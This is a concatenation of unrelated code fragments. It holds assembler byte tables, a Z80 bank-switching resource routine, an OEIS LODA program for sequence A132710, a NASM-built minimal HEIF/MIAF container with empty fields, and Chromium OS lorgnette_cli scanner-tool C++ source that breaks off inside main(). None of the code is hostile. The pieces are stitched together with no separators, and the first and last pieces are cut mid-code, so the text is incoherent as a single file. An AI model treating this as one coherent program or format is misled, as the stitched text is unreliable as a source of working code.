1480 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1490L7: DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1500 DB 0FFH, 0FFH, 0FFH, 0FFH, 3FH, 0FH, 07H, 03H, 01H, 00H, 00H, 00H 1510 DB 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H 1520 DB 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H 1530 DB 00H, 00H, 03H, 03H, 01H, 00H, 40H, 0C0H, 0FCH, 0FFH, 0FFH, 0FFH 1540 DB 0FFH, 0FFH, 0DFH, 8FH, 07H, 03H, 03H, 0FH, 1FH, 7FH, 0FFH, 3FH 1550 DB 3FH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1560 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1570 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1580 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1590 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1600 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1610L8: DB 0FFH, 0FFH, 0FFH, 0FFH, 7FH, 0FFH, 0FFH, 7FH, 0FFH, 0FFH, 7FH, 0FFH 1620 DB 0FFH, 0FFH, 0FH, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 80H, 40H 1630 DB 10H, 0A0H, 48H, 40H, 14H, 0A0H, 48H, 80H, 50H, 00H, 00H, 00H 1640 DB 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H 1650 DB 00H, 00H, 00H, 00H, 00H, 00H, 00H, 03H, 0FBH, 0FDH, 0F3H, 0FFH 1660 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FEH, 0FCH, 0FCH, 0FCH, 0FCH, 0FCH, 0EBH, 00H 1670 DB 00H, 0A5H, 0FFH, 7FH, 0FFH, 7FH, 0BFH, 0FFH, 0BFH, 0FFH, 0BFH, 0FFH 1680 DB 0BFH, 7FH, 0BFH, 0FFH, 0BFH, 7FH, 0BFH, 0FFH, 0BFH, 7FH, 0BFH, 0FFH 1690 DB 0BFH, 7FH, 0BFH, 0FFH, 0BFH, 7FH, 0BFH, 0FFH, 0BFH, 0FFH, 0BFH, 7FH 1700 DB 0BFH, 0FFH, 0BFH, 0FFH, 0BFH, 0FFH, 0BFH, 0FFH, 0BFH, 0FFH, 0BFH, 0FFH 1710 DB 7FH, 0BFH, 0FFH, 7FH, 0BFH, 0FFH, 7FH, 0BFH, 0FFH, 7FH, 0BFH, 0FFH 1720 DB 7FH, 0BFH, 0FFH, 7FH, 0FFH, 7FH, 0FFH, 7FH, 0FFH, 7FH, 0FFH, 0FFH 1730L9: DB 2BH, 00H, 03H, 00H, 05H, 01H, 02H, 09H, 01H, 02H, 05H, 01H 1740 DB 02H, 27H, 00H, 00H, 00H, 00H, 00H, 40H, 10H, 0A2H, 54H, 0AAH 1750 DB 0B5H, 6AH, 0DDH, 75H, 0DBH, 74H, 0ADH, 52H, 0ACH, 51H, 0AAH, 44H 1760 DB 20H, 00H, 80H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H 1770 DB 00H, 00H, 00H, 00H, 00H, 00H, 00H, 0F0H, 0FFH, 0FFH, 0FFH, 0FFH 1780 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0BFH, 0FFH, 1FH, 0AFH, 0C7H 1790 DB 13H, 0C5H, 12H, 0C1H, 2AH, 81H, 4AH, 82H, 54H, 02H, 0A2H, 48H 1800 DB 82H, 29H, 42H, 08H, 0A2H, 09H, 42H, 08H, 22H, 09H, 42H, 08H 1810 DB 42H, 09H, 42H, 08H, 42H, 09H, 02H, 48H, 02H, 12H, 84H, 01H 1820 DB 12H, 08H, 02H, 24H, 02H, 08H, 02H, 22H, 08H, 02H, 04H, 11H 1830 DB 02H, 01H, 0AH, 01H, 02H, 09H, 02H, 01H, 0AH, 01H, 02H, 09H 1840 DB 01H, 02H, 05H, 01H, 0AH, 01H, 0AH, 01H, 05H, 01H, 02H, 4DH 1850L10: DB 91H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 80H, 00H 1860 DB 00H, 80H, 00H, 00H, 40H, 00H, 00H, 90H, 05H, 2AH, 95H, 5AH 1870 DB 0B5H, 0EFH, 55H, 0FFH, 55H, 0FFH, 55H, 0BBH, 0EEH, 55H, 0BAH, 0D5H 1880 DB 0E9H, 56H, 0A8H, 52H, 0A8H, 40H, 0A0H, 40H, 00H, 80H, 00H, 00H 1890 DB 80H, 00H, 80H, 10H, 40H, 0AH, 03H, 8BH, 03H, 23H, 87H, 03H 1900 DB 27H, 03H, 87H, 03H, 23H, 05H, 83H, 11H, 06H, 81H, 03H, 24H 1910 DB 03H, 02H, 09H, 82H, 05H, 02H, 81H, 0AH, 01H, 02H, 08H, 02H 1920 DB 04H, 00H, 05H, 00H, 02H, 00H, 01H, 04H, 00H, 09H, 00H, 00H 1930 DB 02H, 00H, 00H, 00H, 02H, 00H, 00H, 00H, 00H, 00H, 00H, 00H 1940 DB 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H 1950 DB 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H 1960 DB 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 44H 1970L11: DB 0BAH, 88H, 44H, 11H, 0A2H, 54H, 01H, 52H, 28H, 82H, 28H, 92H 1980 DB 28H, 82H, 54H, 29H, 82H, 58H, 22H, 98H, 64H, 99H, 62H, 9CH 1990 DB 75H, 0BAH, 6DH, 0BFH, 0FBH, 7FH, 0FFH, 7FH, 0FDH, 7FH, 0FFH, 7EH 2000 DB 0FDH, 7FH, 0FDH, 7FH, 0BEH, 0FFH, 5EH, 7DH, 0AEH, 7EH, 0ABH, 0D6H 2010 DB 7AH, 0AEH, 0D4H, 5BH, 0B4H, 6BH, 0AAH, 5AH, 0ACH, 55H, 0B2H, 0CCH 2020 DB 35H, 0D2H, 2CH, 0D2H, 29H, 0CCH, 52H, 28H, 95H, 0A8H, 44H, 29H 2030 DB 44H, 91H, 24H, 90H, 22H, 88H, 20H, 8AH, 40H, 11H, 88H, 22H 2040 DB 40H, 08H, 41H, 08H, 40H, 12H, 80H, 24H, 00H, 10H, 84H, 00H 2050 DB 40H, 04H, 40H, 08H, 80H, 00H, 10H, 80H, 00H, 20H, 00H, 00H 2060 DB 20H, 00H, 00H, 40H, 00H, 80H, 00H, 00H, 00H, 00H, 00H, 00H 2070 DB 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H 2080 DB 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 44H 
.section "Open Resource Routine" free ;=========================================================== ; Opens a stream for reading ; hl : Resource number ; de : Resource table base address (must be on bank 0) ; b : Slot number ; Return: ; hl : Resource pointer ; bc : Resource size ;=========================================================== SAM_Resource_Open: ;=========================================================== push ix ; Calculates the base address add hl, hl ex de, hl add hl, de add hl, de add hl, de ; Makes IX point to the base address push hl pop ix ; Calculates address of the bankswitching port ld h, $FF ld a, b add a, $FD ld l, a ; Selects the correct bank ld a, (ix + SAM_Resource.bank) ld (hl), a ; Gets base address ld a, (ix + SAM_Resource.address) ld l, a ld a, (ix + SAM_Resource.address + 1) and $3F ; Clears top two bits ld h, a ; Calculates Z80 address taking into consideration the desired slot ld a, b rrca rrca ; Equivalent to A = B << 6 or h ld h, a ; HL = (addr & 0x3FFF) | (B << 14) ; Gets resource size ld c, (ix + SAM_Resource.res_size) ld b, (ix + SAM_Resource.res_size + 1) pop ix ret .ends
; A132710: Infinitesimal generator for a diagonally-shifted Lah matrix, unsigned A105278, related to n! Laguerre(n,-x,1). ; 0,2,0,0,6,0,0,0,12,0,0,0,0,20,0,0,0,0,0,30,0,0,0,0,0,0,42,0,0,0,0,0,0,0,56,0,0,0,0,0,0,0,0,72,0,0,0,0,0,0,0,0,0,90,0,0,0,0,0,0,0,0,0,0,110,0,0,0,0,0,0,0,0,0,0,0,132,0 mov $6,2 mov $7,$0 lpb $6,1 sub $6,1 add $0,$6 sub $0,1 mov $2,$0 mov $3,2 mov $4,$0 lpb $2,1 lpb $4,1 add $3,1 trn $4,$3 lpe sub $2,1 lpe bin $3,3 mov $5,$6 mov $8,$3 lpb $5,1 mov $1,$8 sub $5,1 lpe lpe lpb $7,1 sub $1,$8 mov $7,0 lpe mul $1,2
%define BE(a) ( ((((a)>>24)&0xFF) << 0) + ((((a)>>16)&0xFF) << 8) + ((((a)>>8)&0xFF) << 16) + ((((a)>>0)&0xFF) << 24) ) ftyp_start: dd BE(ftyp_end - ftyp_start) db "ftyp" db "isom" dd BE(0x00) db "mif1", "miaf" ftyp_end: meta_start: dd BE(meta_end - meta_start) db "meta" dd BE(0) hdlr_start: dd BE(hdlr_end - hdlr_start) db "hdlr" db 0x00 ; version(8) db 0x00, 0x00, 0x00 ; flags(24) db 0x00, 0x00, 0x00, 0x00 ; pre_defined(32) db 0x70, 0x69, 0x63, 0x74 ; handler_type(32) ('pict') db 0x00, 0x00, 0x00, 0x00 ; reserved1(32) db 0x00, 0x00, 0x00, 0x00 ; reserved2(32) db 0x00, 0x00, 0x00, 0x00 ; reserved3(32) db 0x00 ; name(8) hdlr_end: pitm_start: dd BE(pitm_end - pitm_start) db "pitm" dd BE(0) db 0x00, 0x00 pitm_end: ipro_start: dd BE(ipro_end - ipro_start) db "ipro" ipro_end: iinf_start: dd BE(iinf_end - iinf_start) db "iinf" dd BE(0) db 0x00, 0x00 iinf_end: iprp_start: dd BE(iprp_end - iprp_start) db "iprp" ipco_start: dd BE(ipco_end - ipco_start) db "ipco" ispe_start: dd BE(ispe_end - ispe_start) db "ispe" dd 0, 0, 0 ispe_end: ipco_end: iprp_end: meta_end: ; vim: syntax=nasm
// Copyright 2020 The Chromium OS Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include <algorithm> #include <iostream> #include <optional> #include <string> #include <utility> #include <vector> #include <base/callback.h> #include <base/command_line.h> #include <base/containers/contains.h> #include <base/files/file.h> #include <base/files/file_descriptor_watcher_posix.h> #include <base/json/json_writer.h> #include <base/memory/ref_counted.h> #include <base/memory/weak_ptr.h> #include <base/run_loop.h> #include <base/strings/stringprintf.h> #include <base/strings/string_util.h> #include <base/strings/string_split.h> #include <base/synchronization/condition_variable.h> #include <base/synchronization/lock.h> #include <base/task/single_thread_task_executor.h> #include <base/values.h> #include <brillo/errors/error.h> #include <brillo/flag_helper.h> #include <brillo/process/process.h> #include <brillo/syslog_logging.h> #include <chromeos/dbus/service_constants.h> #include <dbus/bus.h> #include <lorgnette/proto_bindings/lorgnette_service.pb.h> #include <re2/re2.h> #include "lorgnette/dbus-proxies.h" #include "lorgnette/guess_source.h" using org::chromium::lorgnette::ManagerProxy; namespace { std::optional<std::vector<std::string>> ReadLines(base::File* file) { std::string buf(1 << 20, '\0'); int read = file->ReadAtCurrentPos(&buf[0], buf.size()); if (read < 0) { PLOG(ERROR) << "Reading from file failed"; return std::nullopt; } buf.resize(read); return base::SplitString(buf, "\n", base::KEEP_WHITESPACE, base::SPLIT_WANT_ALL); } std::string EscapeScannerName(const std::string& scanner_name) { std::string escaped; for (char c : scanner_name) { if (isalnum(c)) { escaped += c; } else { escaped += '_'; } } return escaped; } std::string ExtensionForFormat(lorgnette::ImageFormat image_format) { switch (image_format) { case lorgnette::IMAGE_FORMAT_PNG: return "png"; case lorgnette::IMAGE_FORMAT_JPEG: return "jpg"; default: LOG(ERROR) << "No extension for format " << image_format; return "raw"; } } std::optional<lorgnette::CancelScanResponse> CancelScan( ManagerProxy* manager, const std::string& uuid) { lorgnette::CancelScanRequest request; request.set_scan_uuid(uuid); std::vector<uint8_t> request_in(request.ByteSizeLong()); request.SerializeToArray(request_in.data(), request_in.size()); brillo::ErrorPtr error; std::vector<uint8_t> response_out; if (!manager->CancelScan(request_in, &response_out, &error)) { LOG(ERROR) << "Cancelling scan failed: " << error->GetMessage(); return std::nullopt; } lorgnette::CancelScanResponse response; if (!response.ParseFromArray(response_out.data(), response_out.size())) { LOG(ERROR) << "Failed to parse CancelScanResponse"; return std::nullopt; } return response; } class ScanHandler { public: ScanHandler(base::RepeatingClosure quit_closure, ManagerProxy* manager, std::string scanner_name, std::string output_pattern) : cvar_(&lock_), quit_closure_(quit_closure), manager_(manager), scanner_name_(scanner_name), output_pattern_(output_pattern), current_page_(1), connected_callback_called_(false), connection_status_(false) { manager_->RegisterScanStatusChangedSignalHandler( base::BindRepeating(&ScanHandler::HandleScanStatusChangedSignal, weak_factory_.GetWeakPtr()), base::BindOnce(&ScanHandler::OnConnectedCallback, weak_factory_.GetWeakPtr())); } bool WaitUntilConnected(); bool StartScan(uint32_t resolution, const lorgnette::DocumentSource& scan_source, const std::optional<lorgnette::ScanRegion>& scan_region, lorgnette::ColorMode color_mode, lorgnette::ImageFormat image_format); private: void HandleScanStatusChangedSignal( const std::vector<uint8_t>& signal_serialized); void OnConnectedCallback(const std::string& interface_name, const std::string& signal_name, bool signal_connected); void RequestNextPage(); std::optional<lorgnette::GetNextImageResponse> GetNextImage( const base::FilePath& output_path); base::Lock lock_; base::ConditionVariable cvar_; base::RepeatingClosure quit_closure_; ManagerProxy* manager_; // Not owned. std::string scanner_name_; std::string output_pattern_; std::string format_extension_; std::optional<std::string> scan_uuid_; int current_page_; bool connected_callback_called_; bool connection_status_; base::WeakPtrFactory<ScanHandler> weak_factory_{this}; }; bool ScanHandler::WaitUntilConnected() { base::AutoLock auto_lock(lock_); while (!connected_callback_called_) { cvar_.Wait(); } return connection_status_; } bool ScanHandler::StartScan( uint32_t resolution, const lorgnette::DocumentSource& scan_source, const std::optional<lorgnette::ScanRegion>& scan_region, lorgnette::ColorMode color_mode, lorgnette::ImageFormat image_format) { lorgnette::StartScanRequest request; request.set_device_name(scanner_name_); request.mutable_settings()->set_resolution(resolution); request.mutable_settings()->set_source_name(scan_source.name()); request.mutable_settings()->set_color_mode(color_mode); if (scan_region.has_value()) *request.mutable_settings()->mutable_scan_region() = scan_region.value(); request.mutable_settings()->set_image_format(image_format); format_extension_ = ExtensionForFormat(image_format); std::vector<uint8_t> request_in(request.ByteSizeLong()); request.SerializeToArray(request_in.data(), request_in.size()); brillo::ErrorPtr error; std::vector<uint8_t> response_out; if (!manager_->StartScan(request_in, &response_out, &error)) { LOG(ERROR) << "StartScan failed: " << error->GetMessage(); return false; } lorgnette::StartScanResponse response; if (!response.ParseFromArray(response_out.data(), response_out.size())) { LOG(ERROR) << "Failed to parse StartScanResponse"; return false; } if (response.state() == lorgnette::SCAN_STATE_FAILED) { LOG(ERROR) << "StartScan failed: " << response.failure_reason(); return false; } std::cout << "Scan " << response.scan_uuid() << " started successfully" << std::endl; scan_uuid_ = response.scan_uuid(); RequestNextPage(); return true; } void ScanHandler::HandleScanStatusChangedSignal( const std::vector<uint8_t>& signal_serialized) { if (!scan_uuid_.has_value()) { return; } lorgnette::ScanStatusChangedSignal signal; if (!signal.ParseFromArray(signal_serialized.data(), signal_serialized.size())) { LOG(ERROR) << "Failed to parse ScanStatusSignal"; return; } if (signal.state() == lorgnette::SCAN_STATE_IN_PROGRESS) { std::cout << "Page " << signal.page() << " is " << signal.progress() << "% finished" << std::endl; } else if (signal.state() == lorgnette::SCAN_STATE_FAILED) { LOG(ERROR) << "Scan failed: " << signal.failure_reason(); quit_closure_.Run(); } else if (signal.state() == lorgnette::SCAN_STATE_PAGE_COMPLETED) { std::cout << "Page " << signal.page() << " completed." << std::endl; current_page_ += 1; if (signal.more_pages()) RequestNextPage(); } else if (signal.state() == lorgnette::SCAN_STATE_COMPLETED) { std::cout << "Scan completed successfully." << std::endl; quit_closure_.Run(); } else if (signal.state() == lorgnette::SCAN_STATE_CANCELLED) { std::cout << "Scan cancelled." << std::endl; quit_closure_.Run(); } } void ScanHandler::OnConnectedCallback(const std::string& interface_name, const std::string& signal_name, bool signal_connected) { base::AutoLock auto_lock(lock_); connected_callback_called_ = true; connection_status_ = signal_connected; if (!signal_connected) { LOG(ERROR) << "Failed to connect to ScanStatusChanged signal"; } cvar_.Signal(); } std::optional<lorgnette::GetNextImageResponse> ScanHandler::GetNextImage( const base::FilePath& output_path) { lorgnette::GetNextImageRequest request; request.set_scan_uuid(scan_uuid_.value()); std::vector<uint8_t> request_in(request.ByteSizeLong()); request.SerializeToArray(request_in.data(), request_in.size()); base::File output_file( output_path, base::File::FLAG_CREATE_ALWAYS | base::File::FLAG_WRITE); if (!output_file.IsValid()) { PLOG(ERROR) << "Failed to open output file " << output_path; return std::nullopt; } brillo::ErrorPtr error; std::vector<uint8_t> response_out; if (!manager_->GetNextImage(request_in, output_file.GetPlatformFile(), &response_out, &error)) { LOG(ERROR) << "GetNextImage failed: " << error->GetMessage(); return std::nullopt; } lorgnette::GetNextImageResponse response; if (!response.ParseFromArray(response_out.data(), response_out.size())) { LOG(ERROR) << "Failed to parse StartScanResponse"; return std::nullopt; } return response; } void ScanHandler::RequestNextPage() { std::string expanded_path = output_pattern_; base::ReplaceFirstSubstringAfterOffset( &expanded_path, 0, "%n", base::StringPrintf("%d", current_page_)); base::ReplaceFirstSubstringAfterOffset(&expanded_path, 0, "%s", EscapeScannerName(scanner_name_)); base::ReplaceFirstSubstringAfterOffset(&expanded_path, 0, "%e", format_extension_); base::FilePath output_path = base::FilePath(expanded_path); if (current_page_ > 1 && output_pattern_.find("%n") == std::string::npos) { output_path = output_path.InsertBeforeExtension( base::StringPrintf("_page%d", current_page_)); } std::optional<lorgnette::GetNextImageResponse> response = GetNextImage(output_path); if (!response.has_value()) { quit_closure_.Run(); } if (!response.value().success()) { LOG(ERROR) << "Requesting next page failed: " << response.value().failure_reason(); quit_closure_.Run(); } else { std::cout << "Reading page " << current_page_ << " to " << output_path.value() << std::endl; } } std::optional<std::vector<std::string>> ListScanners(ManagerProxy* manager) { brillo::ErrorPtr error; std::vector<uint8_t> out_scanner_list; if (!manager->ListScanners(&out_scanner_list, &error)) { LOG(ERROR) << "ListScanners failed: " << error->GetMessage(); return std::nullopt; } lorgnette::ListScannersResponse scanner_list; if (!scanner_list.ParseFromArray(out_scanner_list.data(), out_scanner_list.size())) { LOG(ERROR) << "Failed to parse ListScanners response"; return std::nullopt; } std::vector<std::string> scanner_names; std::cout << "SANE scanners: " << std::endl; for (const lorgnette::ScannerInfo& scanner : scanner_list.scanners()) { std::cout << scanner.name() << ": " << scanner.manufacturer() << " " << scanner.model() << "(" << scanner.type() << ")" << std::endl; scanner_names.push_back(scanner.name()); } std::cout << scanner_list.scanners_size() << " SANE scanners found." << std::endl; return scanner_names; } std::optional<lorgnette::ScannerCapabilities> GetScannerCapabilities( ManagerProxy* manager, const std::string& scanner_name) { brillo::ErrorPtr error; std::vector<uint8_t> serialized; if (!manager->GetScannerCapabilities(scanner_name, &serialized, &error)) { LOG(ERROR) << "GetScannerCapabilities failed: " << error->GetMessage(); return std::nullopt; } lorgnette::ScannerCapabilities capabilities; if (!capabilities.ParseFromArray(serialized.data(), serialized.size())) { LOG(ERROR) << "Failed to parse ScannerCapabilities response"; return std::nullopt; } return capabilities; } void PrintScannerCapabilities( const lorgnette::ScannerCapabilities& capabilities) { std::cout << "--- Capabilities ---" << std::endl; std::cout << "Sources:" << std::endl; for (const lorgnette::DocumentSource& source : capabilities.sources()) { std::cout << "\t" << source.name() << " (" << lorgnette::SourceType_Name(source.type()) << ")" << std::endl; if (source.has_area()) { std::cout << "\t\t" << source.area().width() << "mm wide by " << source.area().height() << "mm tall" << std::endl; } std::cout << "\t\tResolutions:" << std::endl; for (uint32_t resolution : source.resolutions()) { std::cout << "\t\t\t" << resolution << std::endl; } std::cout << "\t\tColor Modes:" << std::endl; for (int color_mode : source.color_modes()) { std::cout << "\t\t\t" << lorgnette::ColorMode_Name(color_mode) << std::endl; } } } std::optional<std::vector<std::string>> ReadAirscanOutput( brillo::ProcessImpl* discover) { base::File discover_output(discover->GetPipe(STDOUT_FILENO)); if (!discover_output.IsValid()) { LOG(ERROR) << "Failed to open airscan-discover output pipe"; return std::nullopt; } int ret = discover->Wait(); if (ret != 0) { LOG(ERROR) << "airscan-discover exited with error " << ret; return std::nullopt; } std::optional<std::vector<std::string>> lines = ReadLines(&discover_output); if (!lines.has_value()) { LOG(ERROR) << "Failed to read output from airscan-discover"; return std::nullopt; } std::vector<std::string> scanner_names; for (const std::string& line : lines.value()) { // Line format is something like: // " Lexmark MB2236adwe = https://192.168.0.15:443/eSCL/, eSCL" // We use '.*\S' to match the device name instead of '\S+' so that we can // properly match internal spaces. Since the regex is greedy by default, // we need to end the match group with '\S' so that it doesn't capture any // trailing white-space. std::string name, url; if (RE2::FullMatch(line, R"(\s*(.*\S)\s+=\s+(.+), eSCL)", &name, &url)) { // Replace ':' with '_' because sane-airscan uses ':' to delimit the // fields of the device_string (i.e."airscan:escl:MyPrinter:[url]) passed // to it. base::ReplaceChars(name, ":", "_", &name); scanner_names.push_back("airscan:escl:" + name + ":" + url); } } return scanner_names; } class ScanRunner { public: explicit ScanRunner(ManagerProxy* manager) : manager_(manager) {} void SetResolution(uint32_t resolution) { resolution_ = resolution; } void SetSource(lorgnette::SourceType source) { source_ = source; } void SetScanRegion(const lorgnette::ScanRegion& region) { region_ = region; } void SetColorMode(lorgnette::ColorMode color_mode) { color_mode_ = color_mode; } void SetImageFormat(lorgnette::ImageFormat image_format) { image_format_ = image_format; } bool RunScanner(const std::string& scanner, const std::string& output_pattern); private: ManagerProxy* manager_; // Not owned. uint32_t resolution_; lorgnette::SourceType source_; std::optional<lorgnette::ScanRegion> region_; lorgnette::ColorMode color_mode_; lorgnette::ImageFormat image_format_; }; bool ScanRunner::RunScanner(const std::string& scanner, const std::string& output_pattern) { std::cout << "Getting device capabilities for " << scanner << std::endl; std::optional<lorgnette::ScannerCapabilities> capabilities = GetScannerCapabilities(manager_, scanner); if (!capabilities.has_value()) return false; PrintScannerCapabilities(capabilities.value()); if (!base::Contains(capabilities->resolutions(), resolution_)) { // Many scanners will round the requested resolution to the nearest // supported resolution. We will attempt to scan with the given resolution // since it may still work. LOG(WARNING) << "Requested scan resolution " << resolution_ << " is not supported by the selected scanner. " "Attempting to request it anyways."; } std::optional<lorgnette::DocumentSource> scan_source; for (const lorgnette::DocumentSource& source : capabilities->sources()) { if (source.type() == source_) { scan_source = source; break; } } if (!scan_source.has_value()) { LOG(ERROR) << "Requested scan source " << lorgnette::SourceType_Name(source_) << " is not supported by the selected scanner"; return false; } if (region_.has_value()) { if (!scan_source->has_area()) { LOG(ERROR) << "Requested scan source does not support specifying a scan region."; return false; } if (region_->top_left_x() == -1.0) region_->set_top_left_x(0.0); if (region_->top_left_y() == -1.0) region_->set_top_left_y(0.0); if (region_->bottom_right_x() == -1.0) region_->set_bottom_right_x(scan_source->area().width()); if (region_->bottom_right_y() == -1.0) region_->set_bottom_right_y(scan_source->area().height()); } if (!base::Contains(capabilities->color_modes(), color_mode_)) { LOG(ERROR) << "Requested scan source does not support color mode " << ColorMode_Name(color_mode_); return false; } // Implicitly uses this thread's executor as defined in main. base::RunLoop run_loop; ScanHandler handler(run_loop.QuitClosure(), manager_, scanner, output_pattern); if (!handler.WaitUntilConnected()) { return false; } std::cout << "Scanning from " << scanner << std::endl; if (!handler.StartScan(resolution_, scan_source.value(), region_, color_mode_, image_format_)) { return false; } // Will run until the ScanHandler runs this RunLoop's quit_closure. run_loop.Run(); return true; } std::vector<std::string> BuildScannerList(ManagerProxy* manager) { // Start the airscan-discover process immediately since it can be slightly // long-running. We read the output later after we've gotten a scanner list // from lorgnette. brillo::ProcessImpl discover; discover.AddArg("/usr/bin/airscan-discover"); discover.RedirectUsingPipe(STDOUT_FILENO, false); if (!discover.Start()) { LOG(ERROR) << "Failed to start airscan-discover process"; return {}; } std::cout << "Getting scanner list." << std::endl; std::optional<std::vector<std::string>> sane_scanners = ListScanners(manager); if (!sane_scanners.has_value()) return {}; std::optional<std::vector<std::string>> airscan_scanners = ReadAirscanOutput(&discover); if (!airscan_scanners.has_value()) return {}; std::vector<std::string> scanners = std::move(sane_scanners.value()); scanners.insert(scanners.end(), airscan_scanners.value().begin(), airscan_scanners.value().end()); return scanners; } bool DoScan(std::unique_ptr<ManagerProxy> manager, uint32_t scan_resolution, lorgnette::SourceType source_type, const lorgnette::ScanRegion& region, lorgnette::ColorMode color_mode, lorgnette::ImageFormat image_format, bool scan_from_all_scanners, const std::string& forced_scanner, const std::string& output_pattern) { ScanRunner runner(manager.get()); runner.SetResolution(scan_resolution); runner.SetSource(source_type); runner.SetColorMode(color_mode); runner.SetImageFormat(image_format); if (region.top_left_x() != -1.0 || region.top_left_y() != -1.0 || region.bottom_right_x() != -1.0 || region.bottom_right_y() != -1.0) { runner.SetScanRegion(region); } if (!forced_scanner.empty()) { return runner.RunScanner(forced_scanner, output_pattern); } std::vector<std::string> scanners = BuildScannerList(manager.get()); if (scanners.empty()) { return false; } std::cout << "Choose a scanner (blank to quit):" << std::endl; for (int i = 0; i < scanners.size(); i++) { std::cout << i << ". " << scanners[i] << std::endl; } if (!scan_from_all_scanners) { int index = -1; std::cout << "> "; std::cin >> index; if (std::cin.fail()) { return 0; } std::string scanner = scanners[index]; return runner.RunScanner(scanner, output_pattern); } std::cout << "Scanning from all scanners." << std::endl; std::vector<std::string> successes; std::vector<std::string> failures; for (const std::string& scanner : scanners) { if (runner.RunScanner(scanner, output_pattern)) { successes.push_back(scanner); } else { failures.push_back(scanner); } } std::cout << "Successful scans:" << std::endl; for (const std::string& scanner : successes) { std::cout << " " << scanner << std::endl; } std::cout << "Failed scans:" << std::endl; for (const std::string& scanner : failures) { std::cout << " " << scanner << std::endl; } return true; } std::string ScannerCapabilitiesToJson( const lorgnette::ScannerCapabilities& caps) { base::Value caps_dict(base::Value::Type::DICTIONARY); for (const lorgnette::DocumentSource& source : caps.sources()) { base::Value source_dict(base::Value::Type::DICTIONARY); source_dict.SetStringKey("Name", source.name()); if (source.has_area()) { base::Value area_dict(base::Value::Type::DICTIONARY); area_dict.SetDoubleKey("Width", source.area().width()); area_dict.SetDoubleKey("Height", source.area().height()); source_dict.SetKey("ScannableArea", std::move(area_dict)); } base::Value resolution_list(base::Value::Type::LIST); for (const uint32_t resolution : source.resolutions()) { resolution_list.Append(static_cast<int>(resolution)); } source_dict.SetKey("Resolutions", std::move(resolution_list)); base::Value color_mode_list(base::Value::Type::LIST); for (const int color_mode : source.color_modes()) { color_mode_list.Append(lorgnette::ColorMode_Name(color_mode)); } source_dict.SetKey("ColorModes", std::move(color_mode_list)); caps_dict.SetKey(lorgnette::SourceType_Name(source.type()), std::move(source_dict)); } std::string json; base::JSONWriter::Write(caps_dict, &json); return json; } } // namespace int main(int argc, char** argv) { brillo::InitLog(brillo::kLogToSyslog | brillo::kLogToStderrIfTty | brillo::kLogHeader); // Scan options. DEFINE_uint32(scan_resolution, 100, "The scan resolution to request from the scanner"); DEFINE_string(scan_source, "Platen", "The scan source to use for the scanner, (e.g. Platen, ADF " "Simplex, ADF Duplex)"); DEFINE_string(color_mode, "Color", "The color mode to use for the scanner, (e.g. Color, Grayscale," "Lineart)"); DEFINE_bool(all, false, "Loop through all detected scanners instead of prompting."); DEFINE_double(top_left_x, -1.0, "Top-left X position of the scan region (mm)"); DEFINE_double(top_left_y, -1.0, "Top-left Y position of the scan region (mm)"); DEFINE_double(bottom_right_x, -1.0, "Bottom-right X position of the scan region (mm)"); DEFINE_double(bottom_right_y, -1.0, "Bottom-right Y position of the scan region (mm)"); DEFINE_string(output, "/tmp/scan-%s_page%n.%e", "Pattern for output files. If present, %s will be replaced " "with the scanner name, %n will be replaced with the page " "number, and %e will be replaced with the extension matching " "the selected image format."); DEFINE_string(image_format, "PNG", "Image format for the output file (PNG or JPG)"); // Cancel Scan options DEFINE_string(uuid, "", "UUID of the scan job to cancel."); // General scanner operations options. DEFINE_string(scanner, "", "Name of the scanner whose capabilities are requested."); brillo::FlagHelper::Init(argc, argv, "lorgnette_cli, command-line interface to " "Chromium OS Scanning Daemon"); const std::vector<std::string>& args = base::CommandLine::ForCurrentProcess()->GetArgs(); if (args.size() != 1 || (args[0] != "scan" && args[0] != "cancel_scan" && args[0] != "list" && args[0] != "get_json_caps")) { std::cerr << "usage: lorgnette_cli [list|scan|cancel_scan|get_json_caps] " "[FLAGS...]" << std::endl; return 1; } const std::string& command = args[0]; // Create a task executor for this thread. This will automatically be bound // to the current thread so that it is usable by other code for posting tasks. base::SingleThreadTaskExecutor executor(base::MessagePumpType::IO); // Create a FileDescriptorWatcher instance for this thread. The libbase D-Bus // bindings use this internally via thread-local storage, but do not properly // instantiate it. base::FileDescriptorWatcher watcher(executor.task_runner()); dbus::Bus::Options options; options.bus_type = dbus::Bus::SYSTEM; scoped_refptr<dbus::Bus> bus(new dbus::Bus(options)); 